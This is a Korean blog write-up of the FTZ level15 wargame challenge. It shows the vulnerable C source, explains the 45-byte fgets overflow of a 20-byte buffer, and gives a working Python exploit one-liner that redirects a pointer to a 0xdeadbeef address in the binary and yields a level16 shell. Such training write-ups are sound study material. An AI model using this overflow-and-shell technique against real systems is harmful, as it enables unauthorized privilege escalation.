FTZ level15

c0wb3ll ㅣ 2020. 3. 11. 07:01

FTZ level15

문제

[level15@ftz level15]$ cat hint

#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}  

[level15@ftz level15]$ 
  1. buf의 크기는 20이다.
  2. fgets 함수로 buf에 45byte 크기만큼 입력받는다.
  3. check의 값이 0xdeadbeef라면 권한을 설정하고 /bin/sh을 실행한다.

취약점

//#include <stdio.h>

main()
{ //int crap;
  //int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
} 
  1. buf의 크기는 20이다.
  2. fgets() 함수로 45byte만큼 buf에 입력한다.
  3. 입력 받는 크기가 buf[20]보다 크므로 buf를 넘어 메모리를 뒤덮을 수 있다.

풀이

전체적으로는 level14와 다를게 없다. 달라진 점은 check가 포인터로 바뀌었을 뿐이다.

따라서 우리는 check에다가 deadbeef값을 가지고 있는 주소를 넘겨주어야 한다.

image

*check자리에 0xdeadbeef값을 가지고 있는 곳에 주소를 넣어주면 될 것 같다.

[level15@ftz level15]$ objdump -d attackme | grep deadbeef
 80484b0:    81 38 ef be ad de        cmpl   $0xdeadbeef,(%eax)
[level15@ftz level15]$ 

0x080484b2에 위치에서 deadbeef를 가지고 있는 것을 확인하였다.

익스코드

[level15@ftz level15]$ (python -c "print 'A'*40 + '\xb2\x84\x04\x08'";cat) | ./attackme 
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

성공적으로 level16권한을 획득했다.

궁금한 점

위에 방식을 제외하고 환경변수를 통해 0xdeadbeef를 올려둔 다음 그 주소를 참조하려 했는데 환경변수는 명령어의 길이?, 인자의 길이? 인지 그것에 따라 스택에 올라가는 주소가 바뀐다고 한다. 그래서 공격해야하는 프로그램 이름의 길이와 환경변수를 구하는 프로그램의 이름의 길이를 똑같이 해줘야 환경변수 주소가 같아 정상적으로 권한이 획득되는 것은 확인했는데 왜 그러는지를 모르겠다....

그리고 위에 동작과정이라면 여태까지 환경변수를 통해 문제를 푼 것들은 공격해야 하는 프로그램의 이름의 길이와 환경변수 주소를 구하는 프로그램의 이름의 길이가 같지 않았음에도 ret를 변조했을 때는 정상 작동했는데 이것은 또 왜 그런지도 궁금하다... 누군가 알면 알려주세요 ㅠㅠ